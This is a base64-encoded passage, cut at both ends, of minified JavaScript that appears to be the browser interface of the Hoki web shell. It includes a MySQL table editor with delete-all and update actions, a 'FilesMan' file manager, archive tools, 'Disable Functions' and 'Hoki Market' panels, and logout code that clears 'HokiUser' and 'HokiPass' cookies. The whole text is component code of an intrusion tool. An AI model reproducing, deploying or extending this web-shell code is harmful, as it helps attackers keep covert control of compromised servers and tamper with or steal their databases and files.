SFRNTD1zLGhva2lNeXNxbFRhYkN0bCh7Y2hpbGQ6NixkYl9pZDppLHRhcmdldDoiLm15c3FsLWVkaXQtcm93In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1xdWVyeS1yZXN1bHQtdGFicyBkaXY6bnRoLWNoaWxkKDYpIikuc3R
5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIn1lbHNlImRlbGV0ZSI9PXQmJihlLnN0YXR1cz9kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAudGJsX3Jvd19sIituKS5yZW1vdmUoKTphbGVydChlLmVycm9yKSl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYm
xTZWxlY3RBbGwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe
3QuY2hlY2tlZD1lLmNoZWNrZWR9KX1mdW5jdGlvbiBob2tpTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3MoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0
ZSgiY29sX2tleSIpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3R
pb24oZSl7ZS5jaGVja2VkJiZyLnB1c2goZS52YWx1ZSl9KSwwPT1yLmxlbmd0aClyZXR1cm4hMTtob2tpTXlzcWxBcGkoe2RiX2lkOnQsZGJfdGFyZ2V0OmEsYWpheF9pZDoibXlzcWxfdGFibGVfZGVsZXRlX2FsbF9xdWVyeSIsZGJfaW5mbzp7dG
FibGU6bCxjb2xfa2V5Omkscm93czpyfSxwb3N0Ontob2tpMjoiZGVsZXRlX2FsbCJ9fSxmdW5jdGlvbihlKXtpZigiIiE9ZSlpZigoZT1KU09OLnBhcnNlKGUpKS5zdGF0dXMpe3ZhciBhPTAsaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QpO2QucXVlc
nlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihhPWUuZ2V0QXR0cmlidXRlKCJyb3dfaWQiKSxpLnF1ZXJ5U2Vs
ZWN0b3IoIi50Ymxfcm93X2wiK2EpLnJlbW92ZSgpKX0pfWVsc2UgYWxlcnQoZS5lcnJvcil9KX1mdW5jdGlvbiBob2tpTXlzcWxVcGRhdGVSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSg
iZGJfaWQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIraSkscj0iLm15c3FsLWluc2VydC1yb3ciLG89Ii5teXNxbC1pbnNlcnQtcmVzdWx0IixuPSJteXNxbF90YWJsZV9pbnNlcnRfcXVlcnkiLHM9Imluc2VydCIsYz17dGFibGU6ZS5nZXRBdHRyaW
J1dGUoInRibF9uYW1lIil9O2lmKCJlZGl0Ij09dCl7dmFyIHU9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxwPWUuZ2V0QXR0cmlidXRlKCJrZXkiKTtyPSIubXlzcWwtZWRpdC1yb3ciLG89Ii5teXNxbC11cGRhdGUtcmVzdWx0IixuPSJteXNxb
F90YWJsZV91cGRhdGVfcXVlcnkiLHM9InVwZGF0ZSIsYy5jb2xfa2V5PXUsYy5rZXk9cH12YXIgZj17fTtsLnF1ZXJ5U2VsZWN0b3JBbGwocisiIGlucHV0LCAiK3IrIiB0ZXh0YXJlYSIpLmZvckVhY2goZnVuY3Rpb24oZSl7Zi5oYXNPd25Qcm9w
ZXJ0eShlLm5hbWUpfHwoZltlLm5hbWVdPXt9KSxmW2UubmFtZV09ZS52YWx1ZX0pLGMuZGF0YT1mLGhva2lNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOm4sZGJfaW5mbzpjLHBvc3Q6e2hva2kyOnN9fSxmdW5jdGlvbihlKXt
pZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIraSsiICIrbyk7dC5zdHlsZS5kaXNwbGF5PSJibG9jayIsZS5zdGF0dXM/dC5pbm5lckhUTUw9IlN1Y2Nlc3MuLi4iOnQuaW5uZXJIVE1MPWUuZX
Jyb3J9fSl9ZnVuY3Rpb24gaG9raU15c3FsTG9hZERhdGFUeXBlKGUpe2U9ZS50b1VwcGVyQ2FzZSgpO3ZhciB0PVsiSU5UIiwiVkFSQ0hBUiIsIlRFWFQiLCJEQVRFIix7a2V5OiJOdW1lcmljIix2YWxzOlsiVElOWUlOVCIsIlNNQUxMSU5UIiwiT
UVESVVNSU5UIiwiSU5UIiwiQklHSU5UIiwiLSIsIkRFQ0lNQUwiLCJGTE9BVCIsIkRPVUJMRSIsIlJFQUwiLCItIiwiQklUIiwiQk9PTEVBTiIsIlNFUklBTCJdfSx7a2V5OiJEYXRlIGFuZCB0aW1lIix2YWxzOlsiREFURSIsIkRBVEVUSU1FIiwi
VElNRVNUQU1QIiwiVElNRSIsIllFQVIiXX0se2tleToiU3RyaW5nIix2YWxzOlsiQ0hBUiIsIlZBUkNIQVIiLCItIiwiVElOWVRFWFQiLCJURVhUIiwiTUVESVVNVEVYVCIsIkxPTkdURVhUIiwiLSIsIkJJTkFSWSIsIlZBUkJJTkFSWSIsIi0iLCJ
USU5ZQkxPQiIsIk1FRElVTUJMT0IiLCJCTE9CIiwiTE9OR0JMT0IiLCItIiwiRU5VTSIsIlNFVCJdfSx7a2V5OiJTcGF0aWFsIix2YWxzOlsiR0VPTUVUUlkiLCJQT0lOVCIsIkxJTkVTVFJJTkciLCJQT0xZR09OIiwiTVVMVElQT0lOVCIsIk1VTF
RJTElORVNUUklORyIsIk1VTFRJUE9MWUdPTiIsIkdFT01FVFJZQ09MTEVDVElPTiJdfSx7a2V5OiJKU09OIix2YWxzOlsiSlNPTiJdfV0sYT0iIixpPSExO2Zvcih2YXIgbCBpbiB0KWlmKCJvYmplY3QiPT10eXBlb2YgdFtsXSl7Zm9yKHZhciByI
GluIGErPSc8b3B0Z3JvdXAgbGFiZWw9IicrdFtsXS5rZXkrJyI+Jyx0W2xdLnZhbHMpYSs9IjxvcHRpb24iKyh0W2xdLnZhbHNbcl0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdLnZhbHNbcl0rIjwvb3B0aW9uPiIsdFtsXS52YWxzW3Jd
PT1lJiYoaT0hMCk7YSs9Ijwvb3B0Z3JvdXA+In1lbHNlIGErPSI8b3B0aW9uIisodFtsXSE9ZXx8aT8iIjoiIHNlbGVjdGVkIikrIj4iK3RbbF0rIjwvb3B0aW9uPiIsdFtsXT09ZSYmKGk9ITApO3JldHVybiBhfWZ1bmN0aW9uIGhva2lNeXNxbEN
oYW5nZVBhZ2UoZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPTA7aWYodm9pZCAwIT09dCl7ZT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBzZWxlY3RbbmFtZT1teXNxbC1xLXBhZ2VzXSIpO3ZhciBsPXBhcnNlSW50KGUuZ2V0QX
R0cmlidXRlKCJwYWdlcyIpKTtpZihpPXBhcnNlSW50KGUudmFsdWUpLDE9PXQ/LS1pOisraSwwPT1pfHxsPGkpcmV0dXJuITE7ZS52YWx1ZT1pfWVsc2UgaT1lLnZhbHVlO3ZhciByPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxvPWUuZ2V0Q
XR0cmlidXRlKCJ0YmxfbmFtZSIpO2hva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6cixhamF4X2lkOiJteXNxbF90YWJsZV9jaGFuZ2VfcGFnZSIsZGJfaW5mbzp7dGFibGU6byxwYWdlOml9LHBvc3Q6e2hva2kyOiJwYWdlIn19LGZ1bmN0
aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGhva2lNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiB
ob2tpUmVtb3ZlQ29va2llKGUpe2RvY3VtZW50LmNvb2tpZT1lKyI9O01heC1BZ2U9MDsgcGF0aD0vOyJ9ZnVuY3Rpb24gaG9raUxvZ091dCgpe2hva2lSZW1vdmVDb29raWUoIkhva2lVc2VyIiksaG9raVJlbW92ZUNvb2tpZSgiSG9raVBhc3MiKS
xsb2NhdGlvbi5yZWxvYWQoKX12YXIgaG9raUFsZXJ0Qm94PWZ1bmN0aW9uKGUsdCl7dGhpcy50eXBlcz17c3VjY2Vzczp7Y2xhc3M6ImFsZXJ0LXN1Y2Nlc3MiLGljb246Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jaGVjay1tY
XJrMS5zdmcifSxlcnJvcjp7Y2xhc3M6ImFsZXJ0LWVycm9yIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvd2FybmluZy5zdmcifX0sdGhpcy5zaG93PWZ1bmN0aW9uKGEpe2lmKCIiPT09YXx8bnVsbD09YSl0aHJvdyci
bXNnIHBhcmFtZXRlciBpcyBlbXB0eSInO3ZhciBpPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSksbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG89ZG9jdW1lbnQuY3JlYXRlRWx
lbWVudCgiRElWIiksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJBIikscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklNRyIpLGQ9dGhpcztpZihzLnN0eWxlLmRpc3BsYXk9ImlubGluZS
1ibG9jayIscy5zdHlsZS5tYXJnaW5SaWdodD0iMTBweCIsci5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLG8uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudCIpLG8uaW5uZXJUZXh0PWEsbi5jbGFzc0xpc3QuYWRkKCJhbGVydC1jbG9zZ
SIpLG4uc2V0QXR0cmlidXRlKCJocmVmIiwiIyIpLGwuY2xhc3NMaXN0LmFkZCgiYWxlcnQtYm94IiksYy5zcmM9dGhpcy50eXBlc1t0LnR5cGVdLmljb24sYy5zdHlsZS53aWR0aD0iMzBweCIscy5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoaWxk
KHMpLHQuaGFzT3duUHJvcGVydHkoInRpdGxlIikpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpO3UuY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudC10aXRsZSIpLHUuaW5uZXJUZXh0PXQudGl0bGUsci5hcHBlbmRDaGlsZCh
1KX1pZihyLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQociksdC5oaWRlQ2xvc2VCdXR0b24mJnZvaWQgMCE9PXQuaGlkZUNsb3NlQnV0dG9ufHxsLmFwcGVuZENoaWxkKG4pLHQuaGFzT3duUHJvcGVydHkoInR5cGUiKSYmbC5jbGFzc0xpc3
QuYWRkKHRoaXMudHlwZXNbdC50eXBlXS5jbGFzcyksaS5hcHBlbmRDaGlsZChsKSxuLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksZC5oaWRlKGwpfSksIXQucGVyc2lzdGVudCl2YXIgcD1zZ
XRUaW1lb3V0KGZ1bmN0aW9uKCl7ZC5oaWRlKGwpLGNsZWFyVGltZW91dChwKX0sdC5jbG9zZVRpbWUpfSx0aGlzLmhpZGU9ZnVuY3Rpb24oZSl7ZS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7dmFyIHQ9c2V0VGltZW91dChmdW5jdGlvbigpe2UucGFy
ZW50Tm9kZS5yZW1vdmVDaGlsZChlKSxjbGVhclRpbWVvdXQodCl9LDUwMCl9fTtmdW5jdGlvbiBob2tpU2hvd05vdGlmaWNhdGlvbihlLHQsYSxpLGwpe3ZvaWQgMD09PWEmJihhPSJzdWNjZXNzIiksdm9pZCAwPT09aSYmKGk9ITEpLHZvaWQgMD0
9PWwmJihsPTFlNCk7dmFyIHI9e2Nsb3NlVGltZTpsLHBlcnNpc3RlbnQ6aSx0eXBlOmEsaGlkZUNsb3NlQnV0dG9uOiExfTt2b2lkIDAhPT10JiYoci50aXRsZT10KSxuZXcgaG9raUFsZXJ0Qm94KCIjYWxlcnQtYXJlYSIscikuc2hvdyhlKX1mdW
5jdGlvbiBob2tpU3luY01lbnVUb09wdChlLHQpe3ZhciBhPSIiLGk9IiIsbD1udWxsO3ZvaWQgMCE9PXQ/KGE9InZpZXdfYXJjaGl2ZSIsaT1lLGw9bG9jYXRpb24pOihhPWUubmFtZSxpPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZSksImV4d
HJhY3QiPT1hPyhob2tpX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1kZXppcGVyIixnKCJkZXppcGVyIixudWxsLCIiLCIiLGNfKyIvIitpKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUi
KS5pbm5lckhUTUw9IkRlQ29tcHJlc3NvciIpOiJjb21wcmVzcyI9PWE/KGhva2lfY2FuX2FkZF9vcHQ9ITAsbC5ocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0iK2NfKyImb3B0PXppcGVyIixnKCJ6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSk
sZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDb21wcmVzc29yIik6InZpZXdfYXJjaGl2ZSI9PWEmJihob2tpX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1hcmNoaX
ZlX21hbmFnZXIiLGcoImFyY2hpdmVfbWFuYWdlciIsbnVsbCwiIixjXysiLyIraSwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJBcmNoaXZlIE1hbmFnZXIiKX1mdW5jdGlvbiBkb0ZpbHRlck5hbWUoZSl7dmFyI
HQ9IiNmaWxlc21hbl9ob2xkZXJfIitob2tpX2N1cnJlbnRfZm1faWQ7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPW5ldyBSZWdFeHAoZS52YWx1ZSwiaSIpO2QucXVlcnlTZWxlY3RvckFsbCh0KyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2go
ZnVuY3Rpb24oZSl7LTE9PWUucXVlcnlTZWxlY3RvcigiLm1haW5fbmFtZSIpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKS5zZWFyY2goYSk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9InRhYmxlLXJvdyJ9KX0sMTAwKX1mdW5
jdGlvbiBzb3J0QnlTZWxlY3RlZFZhbHVlKGUsdCl7c2V0Q29va2llKHQsZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBsb2FkUG9wVXBEYXRhYmFzZShlLHQsYSl7aWYoY29uc2
9sZS5sb2codCksJCgiZGF0YWJhc2Vfd2luZG93Iikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHZvaWQgMD09PXQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJzc
WwtYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJuYW1lLnNxbC1hY3RpdmUtdGFiIikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxl
Y3RvcigiLnNxbC10YWJzIC5zcWwtbmV3dGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fXZhciBpPSJpZF9kYl8iK2dldFJhbmRvbSgxMCk7ZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWw
tY29udGVudHMiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK2krJyIgY2xhc3M9InNxbC1jb250ZW50IHNxbC1hY3RpdmUtY29udGVudCI+JytlKyI8L2Rpdj4iKSxkLnF1ZXJ5U2VsZWN0b3IoIiNkYXRhYmFzZV
93aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLnNxbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IGlkPSJ0YWJfJytpKyciIG9wdF9pZD0iJytpKyciIGNsYXNzPSJzcWwtdGFibmFtZSBzcWwtYWN0aXZlL
XRhYiIgb25jbGljaz0iZGJUYWJDb250cm9sbGVyKHRoaXMpOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IERCIENvbm5lY3Rpb248L3NwYW4+IDxpbWcgb3B0X2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VEYXRhYmFzZSh0
aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWV
hZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmciPjwvZGl2PjxkaXYgY2xhc3M9InNxbC1uZXd0YWIiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTtnKFwnc3FsXCcsbnVsbCxcJ1wnLFwnXC
csXCdcJyk7IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojODAwMDAwOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IFRhYiArPC9zcGFuPjwvZGl2PicpLCQoaSkucXVlcnlTZWxlY3RvckFsbCgiLmRiLW9wdC1pZCIpLmZvc
kVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImRiX2lkIixpKX0pO3RyeXskKGkpLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGkpfWNhdGNoKGUpe31yZXR1cm4gaX0kKHQpLmlubmVySFRN
TD1lO3ZhciBsPSQoInRhYl8iK3QpO251bGwhPWwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIil8fGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9
uZSIpLGhva2lTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiREI6ICIrbC5pbm5lclRleHQpKSxkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkJiZob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKS
ksdm9pZCAwIT09bXlzcWxfY2FjaGVbdF0mJm15c3FsX2NhY2hlW3RdLmhhc093blByb3BlcnR5KCJkYiIpJiZteXNxbF9jYWNoZVt0XS5kYi5sZW5ndGg+MCYmInVwZGF0ZSIhPWEmJihkLnF1ZXJ5U2VsZWN0b3IoIiN0YWJfIit0KyI+c3BhbiIpL
mlubmVySFRNTD1teXNxbF9jYWNoZVt0XS5kYiksJCh0KS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLHQpfSk7dHJ5eyQodCkucXVlcnlTZWxlY3RvcigiLmdl
dGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsdCl9Y2F0Y2goZSl7fWRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGxvYWRQb3BVcE9wVGlvbnMoZSx0KXt
jb25zb2xlLmxvZyhlKSxob2tpX2JlZm9yZV9kb19hY3Rpb25faWQ9IiIsJCgib3B0aW9uc193aW5kb3ciKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7dmFyIGE9JCgib3B0aW9uXyIrZSk7aWYoaG9raV9jYW5fYWRkX29wdCl7aG9raV9jYW5fYWRkX2
9wdD0hMTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGk9IiIsbD0kKCJtZW51X29wdF8iK2UpLmlub
mVySFRNTDsibWFya2V0Ij09ZT9sPSJIb2tpIE1hcmtldCI6IkdldERpc0Z1bmMiPT1lJiYobD0iRGlzYWJsZSBGdW5jdGlvbnMiKTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9w
dGlvbnNfdGFiIC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31pZihudWxsIT1hKXt2YXIgcj1hLmdldEF0dHJpYnV0ZSgib3B0X2NvdW50Iik7bnVsbCE9cj8oaT1wYXJ
zZUludChyKSsxLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKTooaT0xLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKX12YXIgbz0ib3B0aW9uXyIrZStpO2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X2
9wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2NvbnRlbnQiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK28rJyIgY2xhc3M9Im9wdGlvbnNfaG9sZGVyIj4nK3QrIjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiI29wd
GlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJvcHRpb25zVGFiQ29udHJvbGxlcih0aGlzKTsi
IHRpdGxlPSInK2wrJyIgaWQ9InRhYl8nK28rJyIgY2xhc3M9InRhYl9uYW1lIHRhYl9pc19hY3RpdmUiPicrbCsnIDxpbWcgb3B0X2lkPSInK28rJyIgb25jbGljaz0iY2xvc2VPcHRpb24odGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU
9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLCQobykuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrbysiIG
Zvcm0sICMiK28rIiBhIikuZm9yRWFjaChmdW5jdGlvbih0KXt2YXIgYT10LmNsYXNzTGlzdC52YWx1ZTtpZigiZ2V0Y29uZmlnIj09YXx8InJlamVjdG1lIj09YSlyZXR1cm4hMTtpZigiRk9STSI9PXQudGFnTmFtZSl7dmFyIGw9dC5nZXRBdHRya
WJ1dGUoIm9uc3VibWl0Iik7dC5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwnaG9raUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKSx0LnNldEF0dHJpYnV0ZSgib3B0X2lkIixlK2kpfWVsc2V7bD10LmdldEF0dHJpYnV0ZSgib25jbGljayIp
O3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnaG9raUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKX19KTt0cnl7JChvKS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIixlK2kpfWNhdGNoKGUpe31
yZXR1cm4gZStpfWEuaW5uZXJIVE1MPXQ7dmFyIG49JCgidGFiX29wdGlvbl8iK2UpO251bGwhPW4mJigoLTE9PW4uY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKXx8b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkKSYmKG
4uY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxob2tpU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsbi5pbm5lclRleHQpKSxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQmJmhva2lVcGRhdGVPcHRpb25zQmFkZ2UoI
m9wdGlvbnNfd2luZG93IikpLGQucXVlcnlTZWxlY3RvckFsbCgiI29wdGlvbl8iK2UrIiBmb3JtLCAjb3B0aW9uXyIrZSsiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwi
cmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgaT10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdob2tpQmVmb3JlRG9BY3Rpb24oIicrZSsnIik7JytpKSx0LnN
ldEF0dHJpYnV0ZSgib3B0X2lkIixlKX1lbHNle2k9dC5nZXRBdHRyaWJ1dGUoIm9uY2xpY2siKTt0LnNldEF0dHJpYnV0ZSgib25jbGljayIsJ2hva2lCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpfX0pO3RyeXthLnF1ZXJ5U2VsZWN0b3IoIi
5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUpfWNhdGNoKGUpe31vcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGhva2lCZWZvcmVEb0FjdGlvbihlK
Xtob2tpX2JlZm9yZV9kb19hY3Rpb25faWQ9ZX1mdW5jdGlvbiBob2tpTG9hZGVyT25Ub3AoZSl7JCgiYV9sb2FkZXIiKS5zdHlsZS5kaXNwbGF5PWUsZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJibG9jayI9PWU/ImhpZGRlbiI6InZpc2libGUifWZ1
bmN0aW9uIGhva2lBamF4Q29udHJvbGxlcihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGFyZW50Iik7JCgibG9hZGVyXyIrdCkucmVtb3ZlKCksImZpbGVzbWFuX2hvbGRlciI9PXQuc3Vic3RyKDAsMTUpJiYoJCh0KS5zdHlsZS5taW5IZWlnaHQ
9IjAiKSxfSE9LSV9BSkFYXy5oYXNPd25Qcm9wZXJ0eSh0KSYmX0hPS0lfQUpBWF9bdF0uYWJvcnQoKX1mdW5jdGlvbiBjbG9zZURhdGFiYXNlKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aW
YoJChhKS5yZW1vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIikpaWYoKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuc3FsLXRhYnMgLnNxbC10YWJuYW1lIikpLmxlbmd0aD4xKXtlWzBdL
